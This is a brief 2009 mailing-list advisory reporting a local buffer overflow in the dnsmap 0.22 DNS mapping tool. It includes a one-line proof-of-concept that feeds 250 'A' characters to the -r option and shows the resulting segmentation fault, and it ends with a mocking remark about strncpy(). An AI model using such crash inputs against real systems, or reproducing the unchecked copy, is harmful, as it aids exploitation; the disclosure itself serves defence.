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Buffer Overflow in dnsmap 0.22 - DNS Network Mapper by pagvac (gnucitizen.org)
From: srl <security.research.labs () gmail com>
Date: Wed, 25 Feb 2009 17:36:46 +0200

Security Advisory:

PRODUCT
************
http://www.gnucitizen.org/blog/new-version-of-dnsmap-out/
http://www.gnucitizen.org/static/blog/2009/02/dnsmap-022.tar

This this is a great tool, used by the two pentesters, pagvac and pdp

TECHNICAL DESCRIPTION
********************************
A local buffer overflow exist in dnsmap 0.22.
$ dnsmap -r `perl -e 'print "A"x250'`
dnsmap 0.22 - DNS Network Mapper by pagvac (gnucitizen.org)

Segmentation fault

SOLUTION
*************
Wait until pagvac will learn about strncpy().
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